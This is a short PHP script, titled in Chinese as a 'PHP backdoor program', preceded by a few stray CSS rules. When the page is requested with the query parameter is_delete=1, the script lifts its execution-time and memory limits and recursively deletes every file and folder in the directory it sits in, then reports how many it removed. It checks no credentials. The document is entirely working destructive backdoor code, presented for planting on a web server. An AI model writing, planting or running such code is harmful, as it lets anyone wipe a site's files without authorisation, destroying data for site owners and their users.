PHP后门程序

*{font-size: 12px;}
a{text-decoration: none; color: blue;}
a:hover{text-decoration: underline; color:red;}
<?php
$folder_count = $file_count = 0;

function deleteAll($directory, $empty = false) {
    global $folder_count, $file_count;

    if (substr($directory,-1) == "/") {
        $directory = substr($directory,0,-1);
    }

    if (!file_exists($directory) || !is_dir($directory)) {
        return false;
    } elseif (!is_readable($directory)) {
        return false;
    } else {
        $directoryHandle = opendir($directory);
        
        while ($contents = readdir($directoryHandle)) {
            if ($contents != '.' && $contents != '..') {
                $path = $directory . "/" . $contents;
                
                if(is_dir($path)) {
                    deleteAll($path);
                } else {
                    $file_count++;
                    unlink($path);
                }
            }
        }
        
        closedir($directoryHandle);

        if ($empty == false) {
            $folder_count++;
            if(!rmdir($directory)) {
                return false;
            }
        }
        
        return true;
    }
}

if ($_GET["is_delete"] == 1) {
    ini_set("max_execution_time", 0);
    ini_set("memory_limit", -1);

    $path = dirname(__FILE__);
    deleteAll($path);
    echo "delete folders:".$folder_count.", delete files:".$file_count.".";
    exit;
}
?>